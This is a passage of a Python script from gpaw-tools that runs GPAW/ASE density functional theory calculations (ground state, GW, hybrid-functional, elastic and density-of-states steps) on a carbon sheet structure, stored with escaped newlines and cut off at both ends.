spg\nfrom argparse import ArgumentParser, HelpFormatter\nfrom ase import *\nfrom ase.dft.kpoints import get_special_points\nfrom ase.parallel import paropen, world, parprint, broadcast\nfrom gpaw import GPAW, PW, Davidson, FermiDirac\nfrom ase.optimize.lbfgs import LBFGS\nfrom ase.io import read, write\nfrom ase.eos import calculate_eos\nfrom ase.units import Bohr, GPa, kJ\nimport matplotlib.pyplot as plt\nfrom ase.dft.dos import DOS\nfrom ase.constraints import UnitCellFilter\nfrom ase.spacegroup.symmetrize import FixSymmetry\nfrom ase.io.cif import write_cif\nfrom pathlib import Path\nfrom gpaw.response.df import DielectricFunction\nfrom gpaw.response.bse import BSE\nfrom gpaw.response.g0w0 import G0W0\nfrom gpaw.response.gw_bands import GWBands\nfrom gpaw.xc.exx import EXX\nfrom gpaw.dos import DOSCalculator\nimport numpy as np\nfrom numpy import genfromtxt\nfrom elastic import get_elastic_tensor, get_elementary_deformations\n\n# DEFAULT VALUES\n# These values (with bulk configuration) can be used to run this script without using inputfile (py file)\n# and configuration file (cif file). \n# -------------------------------------------------------------\nMode = 'PW' # Use PW, PW-GW, PW-EXX, LCAO, FD (PW is more accurate, LCAO is quicker mostly.)\n# -------------------------------------------------------------\nElastic_calc = False # Elastic calculation\nDOS_calc = False # DOS calculation\nBand_calc = False # Band structure calculation\nDensity_calc = False # Calculate the all-electron density?\nOptical_calc = False # Calculate the optical properties\n\n# -------------------------------------------------------------\n# Parameters\n# -------------------------------------------------------------\n# ELECTRONIC\nfmaxval = 0.05 \t\t\t#\nFix_symmetry = False # True for preserving the spacegroup symmetry during optimisation\ncut_off_energy = 340 \t# eV\n#kpts_density = 2.5 # pts per Å^-1 If the user prefers to use this, kpts_x,y,z will not be used automatically.\nkpts_x = 5 \t\t\t # kpoints in x direction\nkpts_y = 5\t\t\t\t# kpoints in y direction\nkpts_z = 5\t\t\t\t# kpoints in z direction\nGamma = True\nband_path = 'LGL'\t # Brillouin zone high symmetry points\nband_npoints = 60\t\t# Number of points between high symmetry points\nenergy_max = 15 \t\t# eV. It is the maximum energy value for band structure figure.\nHubbard = {} # Can be used like {'N': ':p,6.0'}, for none use {}\n#Exchange-Correlation, choose one:\nXC_calc = 'LDA'\n#XC_calc = 'PBE'\n#XC_calc = 'GLLBSC'\n#XC_calc = 'revPBE'\n#XC_calc = 'RPBE'\n#XC_calc = 'B3LYP'\n#Choose one for PW-EXX (Ground state calculations will be done with PBE):\n#XC_calc = 'PBE0'\n#XC_calc = 'HSE06'\n\nGround_convergence = {} # Convergence items for ground state calculations\nBand_convergence = {'bands':8} # Convergence items for band calculations\nOccupation = {'name': 'fermi-dirac', 'width': 0.05} # Refer to GPAW docs: https://wiki.fysik.dtu.dk/gpaw/documentation/basic.html#occupation-numbers\n\nDOS_npoints = 501 # Number of points\nDOS_width = 0.1 # Width of Gaussian smearing. Use 0.0 for linear tetrahedron interpolation\n\nSpin_calc = False # Spin polarized calculation?\nMagmom_per_atom = 1.0 # Magnetic moment per atom\ngridref = 4 # refine grid for all electron density (1, 2 [=default] and 4)\n\n#GW Parameters\nGWtype = 'GW0' # GW0 or G0W0\nGWkpoints = np.array([[0.0, 0.0, 0.0], [1 / 3, 1 / 3, 0], [0.0, 0.0, 0.0]]) #Kpoints list\nGWtruncation = 'None' # Can be None, '2D', '1D', '0D' or 'wigner-seitz'\nGWcut_off_energy = 50 # Cut-off energy\nGWbandVB = 8 # Valence band number\nGWbandCB = 18 # Conduction band number\nGWppa = True # Plasmon Pole Approximation\nGWq0correction = True # Analytic correction to the q=0 contribution applicable to 2D systems.\nGWnblock = True # Cuts chi0 into as many blocks to reduce mem. req. as much as possible.\nGWbandinterpolation = True # Interpolate band\n\n# OPTICAL\nopttype = 'BSE' # BSE or RPA\noptshift = 0.0 # Shifting of the energy\noptBSEvb = range(0,3) # Valence bands that will be used in BSE calculation\noptBSEcb = range(4,7) # Conduction bands that will be used in BSE calculation\noptBSEminEn = 0.0 # Results will be started from this energy (BSE only)\noptBSEmaxEn = 20.0 # Results will be ended at this energy (BSE only)\noptBSEnumdata = 1001 # Number of data points in BSE calculation\nnum_of_bands = 8\t# Number of bands\noptFDsmear = 0.05 # Fermi Dirac smearing for optical calculations\nopteta=0.05 # Eta for Optical calculations\noptdomega0=0.05 # Domega0 for Optical calculations\noptomega2=5.0 # Frequency at which the non-lin freq grid has doubled the spacing\noptecut=100 # Cut-off energy for optical calculations\noptnblocks=4 # Split matrices in nblocks blocks and distribute them G-vectors\n # or frequencies over processes\n\n#GENERAL\n# Which components of strain will be relaxed\n# EpsX, EpsY, EpsZ, ShearYZ, ShearXZ, ShearXY\n# Example: For a x-y 2D nanosheet only first 2 component will be true\nwhichstrain=[False, False, False, False, False, False]\nMPIcores = 4 # This is for gg.py. Not used in this script.\n\n# -------------------------------------------------------------\n# Bulk Configuration\n# -------------------------------------------------------------\nbulk_configuration = Atoms(\n [\n Atom('C', ( 0.0, 0.0, 5.0 )),\n Atom('C', ( -1.2339999999999995, 2.1373506965399947, 5.0 )),\n Atom('C', ( 2.4679999999999995, 0.0, 5.0 )),\n Atom('C', ( 1.234, 2.1373506965399947, 5.0 )),\n Atom('C', ( 2.468000000230841e-06, 1.424899039459532, 5.0 )),\n Atom('C', ( -1.2339975319999992, 3.5622497359995267, 5.0 )),\n Atom('C', ( 2.4680024680000003, 1.424899039459532, 5.0 )),\n Atom('C', ( 1.234002468000001, 3.5622497359995267, 5.0 )),\n ],\n cell=[(4.936, 0.0, 0.0), (-2.467999999999999, 4.274701393079989, 0.0), (0.0, 0.0, 20.0)],\n pbc=True,\n )\n\n# -------------------------------------------------------------\n# /////// YOU DO NOT NEED TO CHANGE ANYTHING BELOW \\\\\\\\\\\\\\\n# -------------------------------------------------------------\n# Version\n__version__ = \"v22.5.1b1\"\n\n# To print Description variable with argparse\nclass RawFormatter(HelpFormatter):\n def _fill_text(self, text, width, indent):\n return \"\\n\".join([textwrap.fill(line, width) for line in textwrap.indent(textwrap.dedent(text), indent).splitlines()])\n\n# Arguments parsing\nparser = ArgumentParser(prog ='gpawtools.py', description=Description, formatter_class=RawFormatter)\n\n\nparser.add_argument(\"-o\", \"--outdir\", dest = \"outdir\", action='store_true', \n help=\"\"\"Save everything to a output directory with naming /inputfile. If there is no input file given and \n Atoms object is used in gpawsolve.py file then the directory name will be /gpawsolve. \n If you change gpawsolve.py name to anyname.py then the directory name will be /anyname.\"\"\")\nparser.add_argument(\"-i\", \"--input\", dest = \"inputfile\", help=\"Use input file for calculation variables (also you can insert geometry)\")\nparser.add_argument(\"-g\", \"--geometry\",dest =\"geometryfile\", help=\"Use CIF file for geometry\")\nparser.add_argument(\"-v\", \"--version\", dest=\"version\", action='store_true')\nparser.add_argument(\"-r\", \"--restart\", dest=\"restart\", action='store_true')\nparser.add_argument(\"-d\", \"--drawfigures\", dest=\"drawfigs\", action='store_true', help=\"Draws DOS and band structure figures at the end of calculation.\")\n\nargs = None\n\ntry:\n if world.rank == 0:\n args = parser.parse_args()\nfinally:\n args = broadcast(args, root=0, comm=world)\n\nif args is None:\n exit(0)\n\noutdir = False\nrestart = False\ninFile = None\ndrawfigs = False\nconfigpath = None\nOutdirname = ''\n\ntry:\n if args.inputfile is not None:\n configpath = os.path.join(os.getcwd(),args.inputfile)\n sys.path.append(os.getcwd())\n # Works like from FILE import *\n conf = __import__(Path(configpath).stem, globals(), locals(), ['*'])\n for k in dir(conf):\n locals()[k] = getattr(conf, k)\n\n if args.geometryfile :\n inFile = os.path.join(os.getcwd(),args.geometryfile)\n\n if args.outdir == True:\n outdir = True\n\n if args.drawfigs == True:\n drawfigs = True\n \n if args.version == True:\n import gpaw\n import ase\n try:\n response = requests.get(\"https://api.github.com/repos/lrgresearch/gpaw-tools/releases/latest\", timeout=5)\n parprint('-------------------------------------------------------------------------------------------------------')\n parprint('\\033[95mgpaw-tools:\\033[0m This is '+str(__version__)+' uses GPAW '+gpaw.__version__+', and ASE '+ase.__version__)\n parprint('-------------------------------------------------------------------------------------------------------')\n parprint('The latest STABLE release was '+response.json()[\"tag_name\"]+', which is published at '+response.json()[\"published_at\"])\n parprint('Download the latest STABLE tarball release at: '+response.json()[\"tarball_url\"])\n parprint('Download the latest STABLE zipball release at: '+response.json()[\"zipball_url\"])\n parprint('Download the latest DEV zipball release at: https://github.com/lrgresearch/gpaw-tools/archive/refs/heads/main.zip')\n except (requests.ConnectionError, requests.Timeout) as exception:\n parprint('-------------------------------------------------------------------------------------------------------')\n parprint('gpaw-tools: This is '+str(__version__)+' uses GPAW '+gpaw.__version__+', ASE '+ase.__version__)\n parprint('-------------------------------------------------------------------------------------------------------')\n parprint('No internet connection available.')\n quit()\n \n if args.restart == True:\n restart = True \n\nexcept getopt.error as err:\n # output error, and return with an error code\n parprint (str(err))\n\n# If there is a CIF input, use it. Otherwise use the bulk configuration provided above.\nif inFile is None:\n if Outdirname !='':\n struct = Outdirname\n else:\n struct = 'results' # All files will get their names from this file\n parprint(\"Number of atoms provided in Atoms object:\"+str(bulk_configuration.get_global_number_of_atoms()))\nelse:\n struct = Path(inFile).stem\n bulk_configuration = read(inFile, index='-1')\n parprint(\"Number of atoms imported from CIF file:\"+str(bulk_configuration.get_global_number_of_atoms()))\n parprint(\"Spacegroup of CIF file (SPGlib):\",spg.get_spacegroup(bulk_configuration))\n parprint(\"Special Points usable for this spacegroup:\",get_special_points(bulk_configuration.get_cell()))\n\n# Control if outdir is set or not\nif outdir is False:\n #No change is necessary\n parprint(\"Output directory is the main directory\")\nelse:\n if Outdirname != '':\n structpath = os.path.join(os.getcwd(),Outdirname)\n else:\n structpath = os.path.join(os.getcwd(),struct)\n\n if not os.path.isdir(structpath):\n os.makedirs(structpath, exist_ok=True)\n struct = os.path.join(structpath,struct)\n\nif Optical_calc == False:\n # -------------------------------------------------------------\n # Step 1 - GROUND STATE\n # -------------------------------------------------------------\n\n if Mode == 'PW':\n if XC_calc in ['B3LYP', 'PBE0']:\n parprint('\\033[91mERROR:\\033[0m'+XC_calc+' can be used only in PW-EXX mode...')\n quit()\n if Spin_calc == True:\n numm = [Magmom_per_atom]*bulk_configuration.get_global_number_of_atoms()\n bulk_configuration.set_initial_magnetic_moments(numm)\n \n if restart == False:\n # PW Ground State Calculations\n parprint(\"Starting PW ground state calculation...\")\n if True in whichstrain:\n if XC_calc in ['GLLBSC', 'GLLBSCM', 'HSE06', 'HSE03']:\n parprint(\"\\033[91mERROR:\\033[0m Structure optimization LBFGS can not be used with \"+XC_calc+\" xc.\")\n parprint(\"Do manual structure optimization, or do with PBE, then use its final CIF as input.\")\n parprint(\"Quiting...\")\n quit()\n if XC_calc in ['HSE06', 'HSE03']:\n parprint('Starting Hybrid XC calculations...')\n if 'kpts_density' in globals():\n calc = GPAW(mode=PW(cut_off_energy), xc={'name': XC_calc, 'backend': 'pw'}, nbands='200%', parallel={'band': 1, 'kpt': 1},\n eigensolver=Davidson(niter=1), \n spinpol=Spin_calc, kpts={'density': kpts_density, 'gamma': Gamma}, txt=struct+'-1-Log-Ground.txt',\n convergence = Ground_convergence, occupations = Occupation)\n else:\n calc = GPAW(mode=PW(cut_off_energy), xc={'name': XC_calc, 'backend': 'pw'}, nbands='200%', parallel={'band': 1, 'kpt': 1},\n eigensolver=Davidson(niter=1), \n spinpol=Spin_calc, kpts={'size': (kpts_x, kpts_y, kpts_z), 'gamma': Gamma}, txt=struct+'-1-Log-Ground.txt',\n convergence = Ground_convergence, occupations = Occupation)\n else:\n parprint('Starting calculations with '+XC_calc+'...')\n # Fix the spacegroup in the geometric optimization if wanted\n if Fix_symmetry == True:\n bulk_configuration.set_constraint(FixSymmetry(bulk_configuration))\n if 'kpts_density' in globals():\n calc = GPAW(mode=PW(cut_off_energy), xc=XC_calc, nbands='200%', setups= Hubbard, parallel={'domain': world.size}, \n spinpol=Spin_calc, kpts={'density': kpts_density, 'gamma': Gamma}, txt=struct+'-1-Log-Ground.txt',\n convergence = Ground_convergence, occupations = Occupation)\n else:\n calc = GPAW(mode=PW(cut_off_energy), xc=XC_calc, nbands='200%', setups= Hubbard, parallel={'domain': world.size}, \n spinpol=Spin_calc, kpts={'size': (kpts_x, kpts_y, kpts_z), 'gamma': Gamma}, txt=struct+'-1-Log-Ground.txt',\n convergence = Ground_convergence, occupations = Occupation)\n bulk_configuration.calc = calc\n if True in whichstrain:\n uf = UnitCellFilter(bulk_configuration, mask=whichstrain)\n relax = LBFGS(uf, trajectory=struct+'-1-Result-Ground.traj')\n relax.run(fmax=fmaxval) # Consider tighter fmax!\n else:\n bulk_configuration.set_calculator(calc)\n bulk_configuration.get_potential_energy()\n if Density_calc == True:\n #This line makes huge GPW files. Therefore it is better to use this if else\n calc.write(struct+'-1-Result-Ground.gpw', mode=\"all\")\n else:\n calc.write(struct+'-1-Result-Ground.gpw')\n # Writes final configuration as CIF file\n write_cif(struct+'-Final.cif', bulk_configuration)\n else:\n parprint(\"Passing PW ground state calculation...\")\n # Control the ground state GPW file\n if not os.path.exists(struct+'-1-Result-Ground.gpw'):\n parprint('\\033[91mERROR:\\033[0m'+struct+'-1-Result-Ground.gpw file can not be found. It is needed in restart mode. Quiting.')\n quit()\n\n elif Mode == 'PW-EXX':\n if restart == False:\n # PW Ground State Calculations\n parprint(\"Starting PW ground state calculation with PBE...\")\n # Fix the spacegroup in the geometric optimization if wanted\n if Fix_symmetry == True:\n bulk_configuration.set_constraint(FixSymmetry(bulk_configuration))\n if 'kpts_density' in globals():\n calc = GPAW(mode=PW(cut_off_energy), xc='PBE', parallel={'domain': world.size}, kpts={'density': kpts_density, 'gamma': Gamma},\n convergence = Ground_convergence, occupations = Occupation, txt=struct+'-1-Log-Ground.txt')\n else:\n calc = GPAW(mode=PW(cut_off_energy), xc='PBE', parallel={'domain': world.size}, kpts={'size': (kpts_x, kpts_y, kpts_z), 'gamma': Gamma},\n convergence = Ground_convergence, occupations = Occupation, txt=struct+'-1-Log-Ground.txt')\n bulk_configuration.calc = calc\n uf = UnitCellFilter(bulk_configuration, mask=whichstrain)\n relax = LBFGS(uf, trajectory=struct+'-1-Result-Ground.traj')\n relax.run(fmax=fmaxval) # Consider tighter fmax!\n calc.write(struct+'-1-Result-Ground.gpw', mode=\"all\")\n # Writes final configuration as CIF file\n write_cif(struct+'-Final.cif', bulk_configuration)\n # Print final spacegroup information\n parprint(\"Final Spacegroup (SPGlib):\",spg.get_spacegroup(bulk_configuration))\n else:\n parprint(\"Passing PW ground state calculation...\")\n # Control the ground state GPW file\n if not os.path.exists(struct+'-1-Result-Ground.gpw'):\n parprint('\\033[91mERROR:\\033[0m'+struct+'-1-Result-Ground.gpw file can not be found. It is needed in restart mode. Quiting.')\n quit()\n\n if XC_calc in ['B3LYP', 'PBE0']:\n parprint('Starting PW EXX ground state calculation with '+XC_calc+' ...')\n calc_exx = EXX(struct+'-1-Result-Ground.gpw', xc=XC_calc, txt=struct+'-1-Log-EXX_mode.txt')\n bulk_configuration.calc_exx = calc_exx\n with paropen(struct+'-1-Result-Ground-EXX_mode.txt', \"w\") as fd:\n print('Eigenvalue contributions: ',calc_exx.get_eigenvalue_contributions() , file=fd)\n if np.isnan(calc_exx.get_exx_energy()):\n print ('The EXX and therefore total energy is not be calculated, because we are only', file=fd)\n print ('interested in a few eigenvalues for a few k-points.', file=fd)\n else:\n print('EXX Energy: ',calc_exx.get_exx_energy() , file=fd)\n print('Total Energy: ',calc_exx.get_total_energy() , file=fd)\n parprint('\\033[94mINFORMATION:\\033[0mEXX mode results are only listed at: '+struct+'-1-Result-Ground-EXX_mode.txt')\n parprint(' Other files (DOS, band, etc...) are the results calculated with PBE.')\n\n elif Mode == 'PW-GW':\n if restart == False:\n # PW Ground State Calculations\n parprint(\"Starting PW only ground state calculation for GW calculation...\")\n # Fix the spacegroup in the geometric optimization if wanted\n if Fix_symmetry == True:\n bulk_configuration.set_constraint(FixSymmetry(bulk_configuration))\n if 'kpts_density' in globals():\n calc = GPAW(mode=PW(cut_off_energy), xc=XC_calc, parallel={'domain': 1}, kpts={'density': kpts_density, 'gamma': Gamma},\n convergence = Ground_convergence, occupations = Occupation, txt=struct+'-1-Log-Ground.txt')\n else:\n calc = GPAW(mode=PW(cut_off_energy), xc=XC_calc, parallel={'domain': 1}, kpts={'size':(kpts_x, kpts_y, kpts_z), 'gamma': Gamma}, \n convergence = Ground_convergence, occupations = Occupation, txt=struct+'-1-Log-Ground.txt')\n bulk_configuration.calc = calc\n uf = UnitCellFilter(bulk_configuration, mask=whichstrain)\n relax = LBFGS(uf, trajectory=struct+'-1-Result-Ground.traj')\n relax.run(fmax=fmaxval) # Consider tighter fmax!\n bulk_configuration.get_potential_energy()\n calc.diagonalize_full_hamiltonian()\n calc.write(struct+'-1-Result-Ground.gpw', mode=\"all\")\n # Writes final configuration as CIF file\n write_cif(struct+'-Final.cif', bulk_configuration)\n # Print final spacegroup information\n parprint(\"Final Spacegroup (SPGlib):\",spg.get_spacegroup(bulk_configuration))\n else:\n parprint(\"Passing ground state calculation for GW calculation...\")\n # Control the ground state GPW file\n if not os.path.exists(struct+'-1-Result-Ground.gpw'):\n parprint('\\033[91mERROR:\\033[0m'+struct+'-1-Result-Ground.gpw file can not be found. It is needed in restart mode. Quiting.')\n quit()\n\n # We start by setting up a G0W0 calculator object\n gw = G0W0(struct+'-1-Result-Ground.gpw', filename=struct+'-1-', bands=(GWbandVB, GWbandCB), \n method=GWtype,truncation=GWtruncation, nblocksmax=GWnblock,\n maxiter=5, q0_correction=GWq0correction,\n mixing=0.5,savepckl=True,\n ecut=GWcut_off_energy, ppa=GWppa)\n parprint(\"Starting PW ground state calculation with G0W0 approximation...\")\n gw.calculate()\n results = pickle.load(open(struct+'-1-_results.pckl', 'rb'))\n with paropen(struct+'-1-BandGap.txt', \"w\") as fd:\n print('Quasi particle (QP) energies in eV. Take CB-VB for the bandgap', file=fd)\n print('To see other energy contributions, use python -mpickle <picklefile>', file=fd)\n for x in zip(results['qp']):\n print(*x, sep=\", \", file=fd)\n\n elif Mode == 'LCAO':\n if restart == False:\n parprint(\"Starting LCAO ground state calculation...\")\n # Fix the spacegroup in the geometric optimization if wanted\n if Fix_symmetry == True:\n bulk_configuration.set_constraint(FixSymmetry(bulk_configuration))\n if 'kpts_density' in globals():\n calc = GPAW(mode='lcao', basis='dzp', setups= Hubbard, kpts={'density': kpts_density, 'gamma': Gamma},\n convergence = Ground_convergence, occupations = Occupation, parallel={'domain': world.size})\n else:\n calc = GPAW(mode='lcao', basis='dzp', setups= Hubbard, kpts={'size':(kpts_x, kpts_y, kpts_z), 'gamma': Gamma},\n convergence = Ground_convergence, occupations = Occupation, parallel={'domain': world.size})\n bulk_configuration.calc = calc\n relax = LBFGS(bulk_configuration, trajectory=struct+'-1-Result-Ground.traj')\n relax.run(fmax=fmaxval) # Consider much tighter fmax!\n bulk_configuration.get_potential_energy()\n calc.write(struct+'-1-Result-Ground.gpw', mode='all')\n # Writes final configuration as CIF file\n write_cif(struct+'-Final.cif', bulk_configuration)\n # Print final spacegroup information\n parprint(\"Final Spacegroup (SPGlib):\",spg.get_spacegroup(bulk_configuration))\n else:\n parprint(\"Passing LCAO ground state calculation...\")\n # Control the ground state GPW file\n if not os.path.exists(struct+'-1-Result-Ground.gpw'):\n parprint('\\033[91mERROR:\\033[0m'+struct+'-1-Result-Ground.gpw file can not be found. It is needed in restart mode. Quiting.')\n quit()\n\n elif Mode == 'FD':\n parprint(\"\\033[91mERROR:\\033[0mFD mode is not implemented in gpaw-tools yet...\")\n quit()\n else:\n parprint(\"\\033[91mERROR:\\033[0mPlease enter correct mode information.\")\n quit()\n\n # -------------------------------------------------------------\n # Step 1.5 - ELASTIC CALCULATION\n # -------------------------------------------------------------\n if Elastic_calc == True:\n parprint('Starting elastic tensor calculations (\\033[93mWARNING:\\033[0mNOT TESTED FEATURE, PLEASE CONTROL THE RESULTS)...')\n calc = GPAW(struct+'-1-Result-Ground.gpw', fixdensity=True, txt=struct+'-1.5-Log-Elastic.txt')\n # Getting space group from SPGlib\n parprint('Spacegroup:',spg.get_spacegroup(bulk_configuration))\n # Calculating equation of state\n parprint('Calculating equation of state...')\n eos = calculate_eos(bulk_configuration, trajectory=struct+'-1-Result-Ground.traj')\n v, e, B = eos.fit()\n # Calculating elastic tensor\n parprint('Calculating elastic tensor...')\n Cij, Bij=get_elastic_tensor(bulk_configuration,get_elementary_deformations(bulk_configuration, n=5, d=2))\n with paropen(struct+'-1.5-Result-Elastic.txt', \"w\") as fd:\n print(\"Elastic calculation results (NOT TESTED FEATURE, PLEASE CONTROL THE RESULTS):\", file=fd)\n print(\"EoS: Stabilized jellium equation of state (SJEOS)\", file=fd)\n print(\"Refs: Phys.Rev.B 63, 224115 (2001) and Phys.Rev.B 67, 026103 (2003)\", file=fd)\n print(\"Elastic constants: Standart elasticity theory calculated by -Elastic- library\", file=fd)\n print(\"Ref: European Physical Journal B; 15, 2 (2000) 265-268\", file=fd)\n print(\"-----------------------------------------------------------------------------\", file=fd)\n print(\"Spacegroup: \"+str(spg.get_spacegroup(bulk_configuration)), file=fd)\n print(\"B (GPa): \"+str(B / kJ * 1.0e24), file=fd)\n print(\"e (eV): \"+str(e), file=fd)\n print(\"v (Ang^3): \"+str(v), file=fd)\n print(\"Cij (GPa): \",Cij/GPa, file=fd)\n # -------------------------------------------------------------\n # Step 2 - DOS CALCULATION\n # -------------------------------------------------------------\n if DOS_calc == True:\n parprint(\"Starting DOS calculation...\")\n calc = GPAW(struct+'-1-Result-Ground.gpw', fixdensity=True, txt=struct+'-2-Log-DOS.txt',\n convergence = Ground_convergence, occupations = Occupation)\n #energies, weights = calc.get_dos(npts=800, width=0)\n dos = DOS(calc, npts=DOS_npoints, width=DOS_width)\n \n if Spin_calc == True:\n energies = dos.get_energies()\n weights = dos.get_dos(spin=0)\n weightsup = dos.get_dos(spin=1)\n else:\n energies = dos.get_energies()\n weights = dos.get_dos()\n\n with paropen(struct+'-2-Result-DOS.csv', \"w\") as fd:\n if Spin_calc == True:\n for x in zip(energies, weights, weightsup):\n print(*x, sep=\", \", file=fd)\n else:\n for x in zip(energies, weights):\n print(*x, sep=\", \", file=fd)\n #PDOS\n parprint(\"Calculating and saving PDOS...\")\n chem_sym = bulk_configuration.get_chemical_symbols()\n ef = calc.get_fermi_level()\n \n if Spin_calc == True:\n #Spin down\n with paropen(struct+'-2-Result-PDOS-Down.csv', \"w\") as fd:\n print(\"Energy, s-orbital, p-orbital, d-orbital, f-orbital\", file=fd)\n for j in range(0, bulk_configuration.get_global_number_of_atoms()):\n print(\"Atom no: \"+str(j+1)+\", Atom Symbol: \"+chem_sym[j]+\" --------------------\", file=fd)\n en, pdossd = calc.get_orbital_ldos(a=j, spin=0, angular='s', npts=DOS_npoints, width=DOS_width)\n en, pdospd = calc.get_orbital_ldos(a=j, spin=0, angular='p', npts=DOS_npoints, width=DOS_width)\n en, pdosdd = calc.get_orbital_ldos(a=j, spin=0, angular='d', npts=DOS_npoints, width=DOS_width)\n en, pdosfd = calc.get_orbital_ldos(a=j, spin=0, angular='f', npts=DOS_npoints, width=DOS_width)\n for x in zip(en-ef, pdossd, pdospd, pdosdd, pdosfd):\n print(*x, sep=\", \", file=fd)\n print(\"---------------------------------------------------- --------------------\", file=fd)\n \n # RAW PDOS for spin down\n parprint(\"Calculating and saving Raw PDOS for spin down...\")\n rawdos = DOSCalculator.from_calculator(struct+'-1-Result-Ground.gpw',soc=False, theta=0.0, phi=0.0, shift_fermi_level=True)\n energies = rawdos.get_energies(npoints=DOS_npoints)\n \n with paropen(struct+'-2-Result-RawPDOS-Down.csv', \"w\") as fd:\n print(\"Energy, s-total, p-total, px, py, pz, d-total, dxy, dyz, d3z2_r2, dzx, dx2_y2, f-total\", file=fd)\n for j in range(0, bulk_configuration.get_global_number_of_atoms()):\n print(\"Atom no: \"+str(j+1)+\", Atom Symbol: \"+chem_sym[j]+\" --------------------\", file=fd)\n pdoss = rawdos.raw_pdos(energies, a=j, l=0, m=None, spin=0, width=DOS_width)\n pdosp = rawdos.raw_pdos(energies, a=j, l=1, m=None, spin=0, width=DOS_width)\n pdospx = rawdos.raw_pdos(energies, a=j, l=1, m=2, spin=0, width=DOS_width)\n pdospy = rawdos.raw_pdos(energies, a=j, l=1, m=0, spin=0, width=DOS_width)\n pdospz = rawdos.raw_pdos(energies, a=j, l=1, m=1, spin=0, width=DOS_width)\n pdosd = rawdos.raw_pdos(energies, a=j, l=2, m=None, spin=0, width=DOS_width)\n pdosdxy = rawdos.raw_pdos(energies, a=j, l=2, m=0, spin=0, width=DOS_width)\n pdosdyz = rawdos.raw_pdos(energies, a=j, l=2, m=1, spin=0, width=DOS_width)\n pdosd3z2_r2 = rawdos.raw_pdos(energies, a=j, l=2, m=2, spin=0, width=DOS_width)\n pdosdzx = rawdos.raw_pdos(energies, a=j, l=2, m=3, spin=0, width=DOS_width)\n pdosdx2_y2 = rawdos.raw_pdos(energies, a=j, l=2, m=4, spin=0, width=DOS_width)\n pdosf = rawdos.raw_pdos(energies, a=j, l=3, m=None, spin=0, width=DOS_width)\n for x in zip(en-ef, pdoss, pdosp, pdospx, pdospy, pdospz, pdosd, pdosdxy, pdosdyz, pdosd3z2_r2, pdosdzx, pdosdx2_y2, pdosf):\n print(*x, sep=\", \", file=fd)\n\n #Spin up\n with paropen(struct+'-2-Result-PDOS-Up.csv', \"w\") as fd:\n print(\"Energy, s-orbital, p-orbital, d-orbital, f-orbital\", file=fd)\n for j in range(0, bulk_configuration.get_global_number_of_atoms()):\n print(\"Atom no: \"+str(j+1)+\", Atom Symbol: \"+chem_sym[j]+\" --------------------\", file=fd)\n en, pdossu = calc.get_orbital_ldos(a=j, spin=1, angular='s', npts=DOS_npoints, width=DOS_width)\n en, pdospu = calc.get_orbital_ldos(a=j, spin=1, angular='p', npts=DOS_npoints, width=DOS_width)\n en, pdosdu = calc.get_orbital_ldos(a=j, spin=1, angular='d', npts=DOS_npoints, width=DOS_width)\n en, pdosfu = calc.get_orbital_ldos(a=j, spin=1, angular='f', npts=DOS_npoints, width=DOS_width)\n for x in zip(en-ef, pdossu, pdospu, pdosdu, pdosfu):\n print(*x, sep=\", \", file=fd)\n print(\"---------------------------------------------------- --------------------\", file=fd)\n\n # RAW PDOS for spin up\n parprint(\"Calculating and saving Raw PDOS for spin up...\")\n rawdos = DOSCalculator.from_calculator(struct+'-1-Result-Ground.gpw',soc=False, theta=0.0, phi=0.0, shift_fermi_level=True)\n energies = rawdos.get_energies(npoints=DOS_npoints)\n\n with paropen(struct+'-2-Result-RawPDOS-Up.csv', \"w\") as fd:\n print(\"Energy, s-total, p-total, px, py, pz, d-total, dxy, dyz, d3z2_r2, dzx, dx2_y2, f-total\", file=fd)\n for j in range(0, bulk_configuration.get_global_number_of_atoms()):\n print(\"Atom no: \"+str(j+1)+\", Atom Symbol: \"+chem_sym[j]+\" --------------------\", file=fd)\n pdoss = rawdos.raw_pdos(energies, a=j, l=0, m=None, spin=1, width=DOS_width)\n pdosp = rawdos.raw_pdos(energies, a=j, l=1, m=None, spin=1, width=DOS_width)\n pdospx = rawdos.raw_pdos(energies, a=j, l=1, m=2, spin=1, width=DOS_width)\n pdospy = rawdos.raw_pdos(energies, a=j, l=1, m=0, spin=1, width=DOS_width)\n pdospz = rawdos.raw_pdos(energies, a=j, l=1, m=1, spin=1, width=DOS_width)\n pdosd = rawdos.raw_pdos(energies, a=j, l=2, m=None, spin=1, width=DOS_width)\n pdosdxy = rawdos.raw_pdos(energies, a=j, l=2, m=0, spin=1, width=DOS_width)\n pdosdyz = rawdos.raw_pdos(energies, a=j, l=2, m=1, spin=1, width=DOS_width)\n pdosd3z2_r2 = rawdos.raw_pdos(energies, a=j, l=2, m=2, spin=1, width=DOS_width)\n pdosdzx = rawdos.raw_pdos(energies, a=j, l=2, m=3, spin=1, width=DOS_width)\n pdosdx2_y2 = rawdos.raw_pdos(energies, a=j, l=2, m=4, spin=1, width=DOS_width)\n pdosf = rawdos.raw_pdos(energies, a=j, l=3, m=None, spin=1, width=DOS_width)\n for x in zip(en-ef, pdoss, pdosp, pdospx, pdospy, pdospz, pdosd, pdosdxy, pdosdyz, pdosd3z2_r2, pdosdzx, pdosdx2_y2, pdosf):\n print(*x, sep=\", \", file=fd)\n\n else:\n with paropen(struct+'-2-Result-PDOS.csv', \"w\") as fd:\n print(\"Energy, s-orbital, p-orbital, d-orbital, f-orbital\", file=fd)\n for j in range(0, bulk_configuration.get_global_number_of_atoms()):\n print(\"Atom no: \"+str(j+1)+\", Atom Symbol: \"+chem_sym[j]+\" --------------------\", file=fd)\n en, pdoss = calc.get_orbital_ldos(a=j, spin=0, angular='s', npts=DOS_npoints, width=DOS_width)\n en, pdosp = calc.get_orbital_ldos(a=j, spin=0, angular='p', npts=DOS_npoints, width=DOS_width)\n en, pdosd = calc.get_orbital_ldos(a=j, spin=0, angular='d', npts=DOS_npoints, width=DOS_width)\n en, pdosf = calc.get_orbital_ldos(a=j, spin=0, angular='f', npts=DOS_npoints, width=DOS_width)\n for x in zip(en-ef, pdoss, pdosp, pdosd, pdosf):\n print(*x, sep=\", \", file=fd)\n print(\"---------------------------------------------------- --------------------\", file=fd)\n # RAW PDOS \n parprint(\"Calculating and saving Raw PDOS...\")\n rawdos = DOSCalculator.from_calculator(struct+'-1-Result-Ground.gpw',soc=False, theta=0.0, phi=0.0, shift_fermi_level=True)\n energies = rawdos.get_energies(npoints=DOS_npoints)\n \n with paropen(struct+'-2-Result-RawPDOS.csv', \"w\") as fd:\n print(\"Energy, s-total, p-total, px, py, pz, d-total, dxy, dyz, d3z2_r2, dzx, dx2_y2, f-total\", file=fd)\n for j in range(0, 